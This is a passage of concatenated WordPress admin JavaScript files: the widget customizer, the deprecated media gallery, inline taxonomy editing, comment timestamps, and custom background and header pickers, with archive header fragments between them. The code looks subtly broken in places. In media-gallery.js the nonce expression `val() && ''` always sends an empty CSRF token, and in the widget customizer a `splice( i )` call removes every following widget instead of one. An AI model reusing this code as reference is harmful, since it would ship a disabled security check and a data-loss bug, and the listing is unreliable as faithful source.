parsedWidgetId.id_base, widget = api.Widgets.availableWidgets.findWhere( {id_base: widgetIdBase} ), settingId, isExistingWidget, widgetFormControl, sidebarWidgets, settingArgs, setting; if ( ! widget ) { return false; } if ( widgetNumber && ! widget.get( 'is_multi' ) ) { return false; } // Set up new multi widget. if ( widget.get( 'is_multi' ) && ! widgetNumber ) { widget.set( 'multi_number', widget.get( 'multi_number' ) + 1 ); widgetNumber = widget.get( 'multi_number' ); } controlHtml = $( '#widget-tpl-' + widget.get( 'id' ) ).html().trim(); if ( widget.get( 'is_multi' ) ) { controlHtml = controlHtml.replace( /<[^<>]+>/g, function( m ) { return m.replace( /__i__|%i%/g, widgetNumber ); } ); } else { widget.set( 'is_disabled', true ); // Prevent single widget from being added again now. } $widget = $( controlHtml ); controlContainer = $( '<li/>' ) .addClass( 'customize-control' ) .addClass( 'customize-control-' + controlType ) .append( $widget ); // Remove icon which is visible inside the panel. controlContainer.find( '> .widget-icon' ).remove(); if ( widget.get( 'is_multi' ) ) { controlContainer.find( 'input[name="widget_number"]' ).val( widgetNumber ); controlContainer.find( 'input[name="multi_number"]' ).val( widgetNumber ); } widgetId = controlContainer.find( '[name="widget-id"]' ).val(); controlContainer.hide(); // To be slid-down below. settingId = 'widget_' + widget.get( 'id_base' ); if ( widget.get( 'is_multi' ) ) { settingId += '[' + widgetNumber + ']'; } controlContainer.attr( 'id', 'customize-control-' + settingId.replace( /\]/g, '' ).replace( /\[/g, '-' ) ); // Only create setting if it doesn't already exist (if we're adding a pre-existing inactive widget). isExistingWidget = api.has( settingId ); if ( ! isExistingWidget ) { settingArgs = { transport: api.Widgets.data.selectiveRefreshableWidgets[ widget.get( 'id_base' ) ] ? 'postMessage' : 'refresh', previewer: this.setting.previewer }; setting = api.create( settingId, settingId, '', settingArgs ); setting.set( {} ); // Mark dirty, changing from '' to {}. } controlConstructor = api.controlConstructor[controlType]; widgetFormControl = new controlConstructor( settingId, { settings: { 'default': settingId }, content: controlContainer, sidebar_id: self.params.sidebar_id, widget_id: widgetId, widget_id_base: widget.get( 'id_base' ), type: controlType, is_new: ! isExistingWidget, width: widget.get( 'width' ), height: widget.get( 'height' ), is_wide: widget.get( 'is_wide' ) } ); api.control.add( widgetFormControl ); // Make sure widget is removed from the other sidebars. api.each( function( otherSetting ) { if ( otherSetting.id === self.setting.id ) { return; } if ( 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) ) { return; } var otherSidebarWidgets = otherSetting().slice(), i = _.indexOf( otherSidebarWidgets, widgetId ); if ( -1 !== i ) { otherSidebarWidgets.splice( i ); otherSetting( otherSidebarWidgets ); } } ); // Add widget to this sidebar. sidebarWidgets = this.setting().slice(); if ( -1 === _.indexOf( sidebarWidgets, widgetId ) ) { sidebarWidgets.push( widgetId ); this.setting( sidebarWidgets ); } controlContainer.slideDown( function() { if ( isExistingWidget ) { widgetFormControl.updateWidget( { instance: widgetFormControl.setting() } ); } } ); return widgetFormControl; } } ); // Register models for custom panel, section, and control types. $.extend( api.panelConstructor, { widgets: api.Widgets.WidgetsPanel }); $.extend( api.sectionConstructor, { sidebar: api.Widgets.SidebarSection }); $.extend( api.controlConstructor, { widget_form: api.Widgets.WidgetControl, sidebar_widgets: api.Widgets.SidebarControl }); /** * Init Customizer for widgets. */ api.bind( 'ready', function() { // Set up the widgets panel. api.Widgets.availableWidgetsPanel = new api.Widgets.AvailableWidgetsPanelView({ collection: api.Widgets.availableWidgets }); // Highlight widget control. api.previewer.bind( 'highlight-widget-control', api.Widgets.highlightWidgetFormControl ); // Open and focus widget control. api.previewer.bind( 'focus-widget-control', api.Widgets.focusWidgetFormControl ); } ); /** * Highlight a widget control. * * @param {string} widgetId */ api.Widgets.highlightWidgetFormControl = function( widgetId ) { var control = api.Widgets.getWidgetFormControlForWidget( widgetId ); if ( control ) { control.highlightSectionAndControl(); } }, /** * Focus a widget control. * * @param {string} widgetId */ api.Widgets.focusWidgetFormControl = function( widgetId ) { var control = api.Widgets.getWidgetFormControlForWidget( widgetId ); if ( control ) { control.focus(); } }, /** * Given a widget control, find the sidebar widgets control that contains it. * @param {string} widgetId * @return {Object|null} */ api.Widgets.getSidebarWidgetControlContainingWidget = function( widgetId ) { var foundControl = null; // @todo This can use widgetIdToSettingId(), then pass into wp.customize.control( x ).getSidebarWidgetsControl(). api.control.each( function( control ) { if ( control.params.type === 'sidebar_widgets' && -1 !== _.indexOf( control.setting(), widgetId ) ) { foundControl = control; } } ); return foundControl; }; /** * Given a widget ID for a widget appearing in the preview, get the widget form control associated with it. * * @param {string} widgetId * @return {Object|null} */ api.Widgets.getWidgetFormControlForWidget = function( widgetId ) { var foundControl = null; // @todo We can just use widgetIdToSettingId() here. api.control.each( function( control ) { if ( control.params.type === 'widget_form' && control.params.widget_id === widgetId ) { foundControl = control; } } ); return foundControl; }; /** * Initialize Edit Menu button in Nav Menu widget. */ $( document ).on( 'widget-added', function( event, widgetContainer ) { var parsedWidgetId, widgetControl, navMenuSelect, editMenuButton; parsedWidgetId = parseWidgetId( widgetContainer.find( '> .widget-inside > .form > .widget-id' ).val() ); if ( 'nav_menu' !== parsedWidgetId.id_base ) { return; } widgetControl = api.control( 'widget_nav_menu[' + String( parsedWidgetId.number ) + ']' ); if ( ! widgetControl ) { return; } navMenuSelect = widgetContainer.find( 'select[name*="nav_menu"]' ); editMenuButton = widgetContainer.find( '.edit-selected-nav-menu > button' ); if ( 0 === navMenuSelect.length || 0 === editMenuButton.length ) { return; } navMenuSelect.on( 'change', function() { if ( api.section.has( 'nav_menu[' + navMenuSelect.val() + ']' ) ) { editMenuButton.parent().show(); } else { editMenuButton.parent().hide(); } }); editMenuButton.on( 'click', function() { var section = api.section( 'nav_menu[' + navMenuSelect.val() + ']' ); if ( section ) { focusConstructWithBreadcrumb( section, widgetControl ); } } ); } ); /** * Focus (expand) one construct and then focus on another construct after the first is collapsed. * * This overrides the back button to serve the purpose of breadcrumb navigation. * * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} focusConstruct - The object to initially focus. * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} returnConstruct - The object to return focus. */ function focusConstructWithBreadcrumb( focusConstruct, returnConstruct ) { focusConstruct.focus(); function onceCollapsed( isExpanded ) { if ( ! isExpanded ) { focusConstruct.expanded.unbind( onceCollapsed ); returnConstruct.focus(); } } focusConstruct.expanded.bind( onceCollapsed ); } /** * @param {string} widgetId * @return {Object} */ function parseWidgetId( widgetId ) { var matches, parsed = { number: null, id_base: null }; matches = widgetId.match( /^(.+)-(\d+)$/ ); if ( matches ) { parsed.id_base = matches[1]; parsed.number = parseInt( matches[2], 10 ); } else { // Likely an old single widget. parsed.id_base = widgetId; } return parsed; } /** * @param {string} widgetId * @return {string} settingId */ function widgetIdToSettingId( widgetId ) { var parsed = parseWidgetId( widgetId ), settingId; settingId = 'widget_' + parsed.id_base; if ( parsed.number ) { settingId += '[' + parsed.number + ']'; } return settingId; } })( window.wp, jQuery ); js/media-gallery.js 0000644 00000002427 15233246127 0010244 0 ustar 00 /** * This file is used on media-upload.php which has been replaced by media-new.php and upload.php * * @deprecated 3.5.0 * @output wp-admin/js/media-gallery.js */ /* global ajaxurl */ jQuery(function($) { /** * Adds a click event handler to the element with a 'wp-gallery' class. */ $( 'body' ).on( 'click.wp-gallery', function(e) { var target = $( e.target ), id, img_size, nonceValue; if ( target.hasClass( 'wp-set-header' ) ) { // Opens the image to preview it full size. ( window.dialogArguments || opener || parent || top ).location.href = target.data( 'location' ); e.preventDefault(); } else if ( target.hasClass( 'wp-set-background' ) ) { // Sets the image as background of the theme. id = target.data( 'attachment-id' ); img_size = $( 'input[name="attachments[' + id + '][image-size]"]:checked').val(); nonceValue = $( '#_wpnonce' ).val() && ''; /** * This Ajax action has been deprecated since 3.5.0, see custom-background.php */ jQuery.post(ajaxurl, { action: 'set-background-image', attachment_id: id, _ajax_nonce: nonceValue, size: img_size }, function() { var win = window.dialogArguments || opener || parent || top; win.tb_remove(); win.location.reload(); }); e.preventDefault(); } }); }); js/inline-edit-tax.js 0000644 00000017165 15233246127 0010530 0 ustar 00 /** * This file is used on the term overview page to power quick-editing terms. * * @output wp-admin/js/inline-edit-tax.js */ /* global ajaxurl, inlineEditTax */ window.wp = window.wp || {}; /** * Consists of functions relevant to the inline taxonomy editor. * * @namespace inlineEditTax * * @property {string} type The type of inline edit we are currently on. * @property {string} what The type property with a hash prefixed and a dash * suffixed. */ ( function( $, wp ) { window.inlineEditTax = { /** * Initializes the inline taxonomy editor by adding event handlers to be able to * quick edit. * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * @return {void} */ init : function() { var t = this, row = $('#inline-edit'); t.type = $('#the-list').attr('data-wp-lists').substr(5); t.what = '#'+t.type+'-'; $( '#the-list' ).on( 'click', '.editinline', function() { $( this ).attr( 'aria-expanded', 'true' ); inlineEditTax.edit( this ); }); /** * Cancels inline editing when pressing Escape inside the inline editor. * * @param {Object} e The keyup event that has been triggered. */ row.on( 'keyup', function( e ) { // 27 = [Escape]. if ( e.which === 27 ) { return inlineEditTax.revert(); } }); /** * Cancels inline editing when clicking the cancel button. */ $( '.cancel', row ).on( 'click', function() { return inlineEditTax.revert(); }); /** * Saves the inline edits when clicking the save button. */ $( '.save', row ).on( 'click', function() { return inlineEditTax.save(this); }); /** * Saves the inline edits when pressing Enter inside the inline editor. */ $( 'input, select', row ).on( 'keydown', function( e ) { // 13 = [Enter]. if ( e.which === 13 ) { return inlineEditTax.save( this ); } }); /** * Saves the inline edits on submitting the inline edit form. */ $( '#posts-filter input[type="submit"]' ).on( 'mousedown', function() { t.revert(); }); }, /** * Toggles the quick edit based on if it is currently shown or hidden. * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * * @param {HTMLElement} el An element within the table row or the table row * itself that we want to quick edit. * @return {void} */ toggle : function(el) { var t = this; $(t.what+t.getId(el)).css('display') === 'none' ? t.revert() : t.edit(el); }, /** * Shows the quick editor * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * * @param {string|HTMLElement} id The ID of the term we want to quick edit or an * element within the table row or the * table row itself. * @return {boolean} Always returns false. */ edit : function(id) { var editRow, rowData, val, t = this; t.revert(); // Makes sure we can pass an HTMLElement as the ID. if ( typeof(id) === 'object' ) { id = t.getId(id); } editRow = $('#inline-edit').clone(true), rowData = $('#inline_'+id); $( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.wp-list-table.widefat:first thead' ).length ); $(t.what+id).hide().after(editRow).after('<tr class="hidden"></tr>'); val = $('.name', rowData); val.find( 'img' ).replaceWith( function() { return this.alt; } ); val = val.text(); $(':input[name="name"]', editRow).val( val ); val = $('.slug', rowData); val.find( 'img' ).replaceWith( function() { return this.alt; } ); val = val.text(); $(':input[name="slug"]', editRow).val( val ); $(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show(); $('.ptitle', editRow).eq(0).trigger( 'focus' ); return false; }, /** * Saves the quick edit data. * * Saves the quick edit data to the server and replaces the table row with the * HTML retrieved from the server. * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * * @param {string|HTMLElement} id The ID of the term we want to quick edit or an * element within the table row or the * table row itself. * @return {boolean} Always returns false. */ save : function(id) { var params, fields, tax = $('input[name="taxonomy"]').val() || ''; // Makes sure we can pass an HTMLElement as the ID. if( typeof(id) === 'object' ) { id = this.getId(id); } $( 'table.widefat .spinner' ).addClass( 'is-active' ); params = { action: 'inline-save-tax', tax_type: this.type, tax_ID: id, taxonomy: tax }; fields = $('#edit-'+id).find(':input').serialize(); params = fields + '&' + $.param(params); // Do the Ajax request to save the data to the server. $.post( ajaxurl, params, /** * Handles the response from the server * * Handles the response from the server, replaces the table row with the response * from the server. * * @param {string} r The string with which to replace the table row. */ function(r) { var row, new_id, option_value, $errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ), $error = $errorNotice.find( '.error' ); $( 'table.widefat .spinner' ).removeClass( 'is-active' ); if (r) { if ( -1 !== r.indexOf( '<tr' ) ) { $(inlineEditTax.what+id).siblings('tr.hidden').addBack().remove(); new_id = $(r).attr('id'); $('#edit-'+id).before(r).remove(); if ( new_id ) { option_value = new_id.replace( inlineEditTax.type + '-', '' ); row = $( '#' + new_id ); } else { option_value = id; row = $( inlineEditTax.what + id ); } // Update the value in the Parent dropdown. $( '#parent' ).find( 'option[value=' + option_value + ']' ).text( row.find( '.row-title' ).text() ); row.hide().fadeIn( 400, function() { // Move focus back to the Quick Edit button. row.find( '.editinline' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) ); }); } else { $errorNotice.removeClass( 'hidden' ); $error.html( r ); /* * Some error strings may contain HTML entities (e.g. `“`), let's use * the HTML element's text. */ wp.a11y.speak( $error.text() ); } } else { $errorNotice.removeClass( 'hidden' ); $error.text( wp.i18n.__( 'Error while saving the changes.' ) ); wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) ); } } ); // Prevent submitting the form when pressing Enter on a focused field. return false; }, /** * Closes the quick edit form. * * @since 2.7.0 * * @this inlineEditTax * @memberof inlineEditTax * @return {void} */ revert : function() { var id = $('table.widefat tr.inline-editor').attr('id'); if ( id ) { $( 'table.widefat .spinner' ).removeClass( 'is-active' ); $('#'+id).siblings('tr.hidden').addBack().remove(); id = id.substr( id.lastIndexOf('-') + 1 ); // Show the taxonomy row and move focus back to the Quick Edit button. $( this.what + id ).show().find( '.editinline' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); } }, /** * Retrieves the ID of the term of the element inside the table row. * * @since 2.7.0 * * @memberof inlineEditTax * * @param {HTMLElement} o An element within the table row or the table row itself. * @return {string} The ID of the term based on the element. */ getId : function(o) { var id = o.tagName === 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-'); return parts[parts.length - 1]; } }; $( function() { inlineEditTax.init(); } ); })( jQuery, window.wp ); js/comment.min.js 0000644 00000002443 15233246127 0007752 0 ustar 00 /*! This file is auto-generated */ jQuery(function(m){postboxes.add_postbox_toggles("comment");var d=m("#timestampdiv"),o=m("#timestamp"),a=o.html(),v=d.find(".timestamp-wrap"),c=d.siblings("a.edit-timestamp");c.on("click",function(e){d.is(":hidden")&&(d.slideDown("fast",function(){m("input, select",v).first().trigger("focus")}),m(this).hide()),e.preventDefault()}),d.find(".cancel-timestamp").on("click",function(e){c.show().trigger("focus"),d.slideUp("fast"),m("#mm").val(m("#hidden_mm").val()),m("#jj").val(m("#hidden_jj").val()),m("#aa").val(m("#hidden_aa").val()),m("#hh").val(m("#hidden_hh").val()),m("#mn").val(m("#hidden_mn").val()),o.html(a),e.preventDefault()}),d.find(".save-timestamp").on("click",function(e){var a=m("#aa").val(),t=m("#mm").val(),i=m("#jj").val(),s=m("#hh").val(),l=m("#mn").val(),n=new Date(a,t-1,i,s,l);e.preventDefault(),n.getFullYear()!=a||1+n.getMonth()!=t||n.getDate()!=i||n.getMinutes()!=l?v.addClass("form-invalid"):(v.removeClass("form-invalid"),o.html(wp.i18n.__("Submitted on:")+" <b>"+wp.i18n.__("%1$s %2$s, %3$s at %4$s:%5$s").replace("%1$s",m('option[value="'+t+'"]',"#mm").attr("data-text")).replace("%2$s",parseInt(i,10)).replace("%3$s",a).replace("%4$s",("00"+s).slice(-2)).replace("%5$s",("00"+l).slice(-2))+"</b> "),c.show().trigger("focus"),d.slideUp("fast"))})}); js/custom-background.js 0000644 00000006553 15233246127 0011163 0 ustar 00 /** * @output wp-admin/js/custom-background.js */ /* global ajaxurl */ /** * Registers all events for customizing the background. * * @since 3.0.0 * * @requires jQuery */ (function($) { $( function() { var frame, bgImage = $( '#custom-background-image' ); /** * Instantiates the WordPress color picker and binds the change and clear events. * * @since 3.5.0 * * @return {void} */ $('#background-color').wpColorPicker({ change: function( event, ui ) { bgImage.css('background-color', ui.color.toString()); }, clear: function() { bgImage.css('background-color', ''); } }); /** * Alters the background size CSS property whenever the background size input has changed. * * @since 4.7.0 * * @return {void} */ $( 'select[name="background-size"]' ).on( 'change', function() { bgImage.css( 'background-size', $( this ).val() ); }); /** * Alters the background position CSS property whenever the background position input has changed. * * @since 4.7.0 * * @return {void} */ $( 'input[name="background-position"]' ).on( 'change', function() { bgImage.css( 'background-position', $( this ).val() ); }); /** * Alters the background repeat CSS property whenever the background repeat input has changed. * * @since 3.0.0 * * @return {void} */ $( 'input[name="background-repeat"]' ).on( 'change', function() { bgImage.css( 'background-repeat', $( this ).is( ':checked' ) ? 'repeat' : 'no-repeat' ); }); /** * Alters the background attachment CSS property whenever the background attachment input has changed. * * @since 4.7.0 * * @return {void} */ $( 'input[name="background-attachment"]' ).on( 'change', function() { bgImage.css( 'background-attachment', $( this ).is( ':checked' ) ? 'scroll' : 'fixed' ); }); /** * Binds the event for opening the WP Media dialog. * * @since 3.5.0 * * @return {void} */ $('#choose-from-library-link').on( 'click', function( event ) { var $el = $(this); event.preventDefault(); // If the media frame already exists, reopen it. if ( frame ) { frame.open(); return; } // Create the media frame. frame = wp.media.frames.customBackground = wp.media({ // Set the title of the modal. title: $el.data('choose'), // Tell the modal to show only images. library: { type: 'image' }, // Customize the submit button. button: { // Set the text of the button. text: $el.data('update'), /* * Tell the button not to close the modal, since we're * going to refresh the page when the image is selected. */ close: false } }); /** * When an image is selected, run a callback. * * @since 3.5.0 * * @return {void} */ frame.on( 'select', function() { // Grab the selected attachment. var attachment = frame.state().get('selection').first(); var nonceValue = $( '#_wpnonce' ).val() || ''; // Run an Ajax request to set the background image. $.post( ajaxurl, { action: 'set-background-image', attachment_id: attachment.id, _ajax_nonce: nonceValue, size: 'full' }).done( function() { // When the request completes, reload the window. window.location.reload(); }); }); // Finally, open the modal. frame.open(); }); }); })(jQuery); js/custom-header.js 0000644 00000003747 15233246127 0010276 0 ustar 00 /** * @output wp-admin/js/custom-header.js */ /* global isRtl */ /** * Initializes the custom header selection page. * * @since 3.5.0 * * @deprecated 4.1.0 The page this is used on is never linked to from the UI. * Setting a custom header is completely handled by the Customizer. */ (function($) { var frame; $( function() { // Fetch available headers. var $headers = $('.available-headers'); // Apply jQuery.masonry once the images have loaded. $headers.imagesLoaded( function() { $headers.masonry({ itemSelector: '.default-header', isRTL: !! ( 'undefined' != typeof isRtl && isRtl ) }); }); /** * Opens the 'choose from library' frame and creates it if it doesn't exist. * * @since 3.5.0 * @deprecated 4.1.0 * * @return {void} */ $('#choose-from-library-link').on( 'click', function( event ) { var $el = $(this); event.preventDefault(); // If the media frame already exists, reopen it. if ( frame ) { frame.open(); return; } // Create the media frame. frame = wp.media.frames.customHeader = wp.media({ // Set the title of the modal. title: $el.data('choose'), // Tell the modal to show only images. library: { type: 'image' }, // Customize the submit button. button: { // Set the text of the button. text: $el.data('update'), // Tell the button not to close the modal, since we're // going to refresh the page when the image is selected. close: false } }); /** * Updates the window location to include the selected attachment. * * @since 3.5.0 * @deprecated 4.1.0 * * @return {void} */ frame.on( 'select', function() { // Grab the selected attachment. var attachment = frame.state().get('selection').first(), link = $el.data('updateLink'); // Tell the browser to navigate to the crop step. window.location = link + '&file=' + attachment.id; }); frame.open(); }); }); }(jQuery)); js/customize-widgets.min.js 0000644 00000066641 15233246127 0012010 0 ustar 00 /*! This file is auto-generated */ !function(u,h){var p,f;function c(e){var t={number:null,id_base:null},i=e.match(/^(.+)-(\d+)$/);return i?(t.id_base=i[1],t.number=parseInt(i[2],10)):t.id_base=e,t}u&&u.customize&&((p=u.customize).Widgets=p.Widgets||{},p.Widgets.savedWidgetIds={},p.Widgets.data=_wpCustomizeWidgetsSettings||{},f=p.Widgets.data.l10n,p.Widgets.WidgetModel=Backbone.Model.extend({id:null,temp_id:null,classname:null,control_tpl:null,description:null,is_disabled:null,is_multi:null,multi_number:null,name:null,id_base:null,transport:null,params:[],width:null,height:null,search_matched:!0}),p.Widgets.WidgetCollection=Backbone.Collection.extend({model:p.Widgets.WidgetModel,doSearch:function(e){this.terms!==e&&(this.terms=e,0<this.terms.length&&this.search(this.terms),""===this.terms)&&this.each(function(e){e.set("search_matched",!0)})},search:function(e){var t,i;e=(e=e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")).replace(/ /g,")(?=.*"),t=new RegExp("^(?=.*"+e+").+","i"),this.each(function(e){i=[e.get("name"),e.get("description")].join(" "),e.set("search_matched",t.test(i))})}}),p.Widgets.availableWidgets=new p.Widgets.WidgetCollection(p.Widgets.data.availableWidgets),p.Widgets.SidebarModel=Backbone.Model.extend({after_title:null,after_widget:null,before_title:null,before_widget:null,class:null,description:null,id:null,name:null,is_rendered:!1}),p.Widgets.SidebarCollection=Backbone.Collection.extend({model:p.Widgets.SidebarModel}),p.Widgets.registeredSidebars=new p.Widgets.SidebarCollection(p.Widgets.data.registeredSidebars),p.Widgets.AvailableWidgetsPanelView=u.Backbone.View.extend({el:"#available-widgets",events:{"input #widgets-search":"search","focus .widget-tpl":"focus","click .widget-tpl":"_submit","keypress .widget-tpl":"_submit",keydown:"keyboardAccessible"},selected:null,currentSidebarControl:null,$search:null,$clearResults:null,searchMatchesCount:null,initialize:function(){var t=this;this.$search=h("#widgets-search"),this.$clearResults=this.$el.find(".clear-results"),_.bindAll(this,"close"),this.listenTo(this.collection,"change",this.updateList),this.updateList(),this.searchMatchesCount=this.collection.length,h("#customize-controls, #available-widgets .customize-section-title").on("click keydown",function(e){e=h(e.target).is(".add-new-widget, .add-new-widget *");h("body").hasClass("adding-widget")&&!e&&t.close()}),this.$clearResults.on("click",function(){t.$search.val("").trigger("focus").trigger("input")}),p.previewer.bind("url",this.close)},search:_.debounce(function(e){var t;this.collection.doSearch(e.target.value),this.updateSearchMatchesCount(),this.announceSearchMatches(),this.selected&&!this.selected.is(":visible")&&(this.selected.removeClass("selected"),this.selected=null),this.selected&&!e.target.value&&(this.selected.removeClass("selected"),this.selected=null),!this.selected&&e.target.value&&(t=this.$el.find("> .widget-tpl:visible:first")).length&&this.select(t),""!==e.target.value?this.$clearResults.addClass("is-visible"):""===e.target.value&&this.$clearResults.removeClass("is-visible"),this.searchMatchesCount?this.$el.removeClass("no-widgets-found"):this.$el.addClass("no-widgets-found")},500),updateSearchMatchesCount:function(){this.searchMatchesCount=this.collection.where({search_matched:!0}).length},announceSearchMatches:function(){var e=f.widgetsFound.replace("%d",this.searchMatchesCount);this.searchMatchesCount||(e=f.noWidgetsFound),u.a11y.speak(e)},updateList:function(){this.collection.each(function(e){var t=h("#widget-tpl-"+e.id);t.toggle(e.get("search_matched")&&!e.get("is_disabled")),e.get("is_disabled")&&t.is(this.selected)&&(this.selected=null)})},select:function(e){this.selected=h(e),this.selected.siblings(".widget-tpl").removeClass("selected"),this.selected.addClass("selected")},focus:function(e){this.select(h(e.currentTarget))},_submit:function(e){"keypress"===e.type&&13!==e.which&&32!==e.which||this.submit(h(e.currentTarget))},submit:function(e){(e=e||this.selected)&&this.currentSidebarControl&&(this.select(e),e=h(this.selected).data("widget-id"),e=this.collection.findWhere({id:e}))&&((e=this.currentSidebarControl.addWidget(e.get("id_base")))&&e.focus(),this.close())},open:function(e){this.currentSidebarControl=e,_(this.currentSidebarControl.getWidgetFormControls()).each(function(e){e.params.is_wide&&e.collapseForm()}),p.section.has("publish_settings")&&p.section("publish_settings").collapse(),h("body").addClass("adding-widget"),this.$el.find(".selected").removeClass("selected"),this.collection.doSearch(""),p.settings.browser.mobile||this.$search.trigger("focus")},close:function(e){(e=e||{}).returnFocus&&this.currentSidebarControl&&this.currentSidebarControl.container.find(".add-new-widget").focus(),this.currentSidebarControl=null,this.selected=null,h("body").removeClass("adding-widget"),this.$search.val("").trigger("input")},keyboardAccessible:function(e){var t=13===e.which,i=27===e.which,n=40===e.which,s=38===e.which,d=9===e.which,a=e.shiftKey,o=null,r=this.$el.find("> .widget-tpl:visible:first"),l=this.$el.find("> .widget-tpl:visible:last"),c=h(e.target).is(this.$search),g=h(e.target).is(".widget-tpl:visible:last");n||s?(n?c?o=r:this.selected&&0!==this.selected.nextAll(".widget-tpl:visible").length&&(o=this.selected.nextAll(".widget-tpl:visible:first")):s&&(c?o=l:this.selected&&0!==this.selected.prevAll(".widget-tpl:visible").length&&(o=this.selected.prevAll(".widget-tpl:visible:first"))),this.select(o),(o||this.$search).trigger("focus")):t&&!this.$search.val()||(t?this.submit():i&&this.close({returnFocus:!0}),this.currentSidebarControl&&d&&(a&&c||!a&&g)&&(this.currentSidebarControl.container.find(".add-new-widget").focus(),e.preventDefault()))}}),p.Widgets.formSyncHandlers={rss:function(e,t,i){var n=t.find(".widget-error:first"),i=h("<div>"+i+"</div>").find(".widget-error:first");n.length&&i.length?n.replaceWith(i):n.length?n.remove():i.length&&t.find(".widget-content:first").prepend(i)}},p.Widgets.WidgetControl=p.Control.extend({defaultExpandedArguments:{duration:"fast",completeCallback:h.noop},initialize:function(e,t){var i=this;i.widgetControlEmbedded=!1,i.widgetContentEmbedded=!1,i.expanded=new p.Value(!1),i.expandedArgumentsQueue=[],i.expanded.bind(function(e){var t=i.expandedArgumentsQueue.shift(),t=h.extend({},i.defaultExpandedArguments,t);i.onChangeExpanded(e,t)}),i.altNotice=!0,p.Control.prototype.initialize.call(i,e,t)},ready:function(){var n=this;n.section()?p.section(n.section(),function(t){function i(e){e&&(n.embedWidgetControl(),t.expanded.unbind(i))}t.expanded()?i(!0):t.expanded.bind(i)}):n.embedWidgetControl()},embedWidgetControl:function(){var e,t=this;t.widgetControlEmbedded||(t.widgetControlEmbedded=!0,e=h(t.params.widget_control),t.container.append(e),t._setupModel(),t._setupWideWidget(),t._setupControlToggle(),t._setupWidgetTitle(),t._setupReorderUI(),t._setupHighlightEffects(),t._setupUpdateUI(),t._setupRemoveUI())},embedWidgetContent:function(){var e,t=this;t.embedWidgetControl(),t.widgetContentEmbedded||(t.widgetContentEmbedded=!0,t.notifications.container=t.getNotificationsContainerElement(),t.notifications.render(),e=h(t.params.widget_content),t.container.find(".widget-content:first").append(e),h(document).trigger("widget-added",[t.container.find(".widget:first")]))},_setupModel:function(){var i=this,e=function(){p.Widgets.savedWidgetIds[i.params.widget_id]=!0};p.bind("ready",e),p.bind("saved",e),this._updateCount=0,this.isWidgetUpdating=!1,this.liveUpdateMode=!0,this.setting.bind(function(e,t){_(t).isEqual(e)||i.isWidgetUpdating||i.updateWidget({instance:e})})},_setupWideWidget:function(){var n,s,e,t,i,d=this;!this.params.is_wide||h(window).width()<=640||(n=this.container.find(".widget-inside"),s=n.find("> .form"),e=h(".wp-full-overlay-sidebar-content:first"),this.container.addClass("wide-widget-control"),this.container.find(".form:first").css({"max-width":this.params.width,"min-height":this.params.height}),i=function(){var e=d.container.offset().top,t=h(window).height(),i=s.outerHeight();n.css("max-height",t),e=Math.max(0,Math.min(Math.max(e,0),t-i)),n.css("top",e)},t=h("#customize-theme-controls"),this.container.on("expand",function(){i(),e.on("scroll",i),h(window).on("resize",i),t.on("expanded collapsed",i)}),this.container.on("collapsed",function(){e.off("scroll",i),h(window).off("resize",i),t.off("expanded collapsed",i)}),p.each(function(e){0===e.id.indexOf("sidebars_widgets[")&&e.bind(function(){d.container.hasClass("expanded")&&i()})}))},_setupControlToggle:function(){var t=this;this.container.find(".widget-top").on("click",function(e){e.preventDefault(),t.getSidebarWidgetsControl().isReordering||t.expanded(!t.expanded())}),this.container.find(".widget-control-close").on("click",function(){t.collapse(),t.container.find(".widget-top .widget-action:first").focus()})},_setupWidgetTitle:function(){var i=this,e=function(){var e=i.setting().title,t=i.container.find(".in-widget-title");e?t.text(": "+e):t.text("")};this.setting.bind(e),e()},_setupReorderUI:function(){var t,e,d=this,s=function(e){e.siblings(".selected").removeClass("selected"),e.addClass("selected");e=e.data("id")===d.params.sidebar_id;d.container.find(".move-widget-btn").prop("disabled",e)};this.container.find(".widget-title-action").after(h(p.Widgets.data.tpl.widgetReorderNav)),e=_.template(p.Widgets.data.tpl.moveWidgetArea),t=h(e({sidebars:_(p.Widgets.registeredSidebars.toArray()).pluck("attributes")})),this.container.find(".widget-top").after(t),(e=function(){var e=t.find("li"),i=0,n=e.filter(function(){return h(this).data("id")===d.params.sidebar_id});e.each(function(){var e=h(this),t=e.data("id"),t=p.Widgets.registeredSidebars.get(t).get("is_rendered");e.toggle(t),t&&(i+=1),e.hasClass("selected")&&!t&&s(n)}),1<i?d.container.find(".move-widget").show():d.container.find(".move-widget").hide()})(),p.Widgets.registeredSidebars.on("change:is_rendered",e),this.container.find(".widget-reorder-nav").find(".move-widget, .move-widget-down, .move-widget-up").each(function(){h(this).prepend(d.container.find(".widget-title").text()+": ")}).on("click keypress",function(e){var t,i;"keypress"===e.type&&13!==e.which&&32!==e.which||(h(this).trigger("focus"),h(this).is(".move-widget")?d.toggleWidgetMoveArea():(e=h(this).is(".move-widget-down"),t=h(this).is(".move-widget-up"),i=d.getWidgetSidebarPosition(),t&&0===i||e&&i===d.getSidebarWidgetsControl().setting().length-1||(t?(d.moveUp(),u.a11y.speak(f.widgetMovedUp)):(d.moveDown(),u.a11y.speak(f.widgetMovedDown)),h(this).trigger("focus"))))}),this.container.find(".widget-area-select").on("click keypress","li",function(e){"keypress"===e.type&&13!==e.which&&32!==e.which||(e.preventDefault(),s(h(this)))}),this.container.find(".move-widget-btn").click(function(){d.getSidebarWidgetsControl().toggleReordering(!1);var e=d.params.sidebar_id,t=d.container.find(".widget-area-select li.selected").data("id"),e=p("sidebars_widgets["+e+"]"),t=p("sidebars_widgets["+t+"]"),i=Array.prototype.slice.call(e()),n=Array.prototype.slice.call(t()),s=d.getWidgetSidebarPosition();i.splice(s,1),n.push(d.params.widget_id),e(i),t(n),d.focus()})},_setupHighlightEffects:function(){var e=this;this.container.on("mouseenter 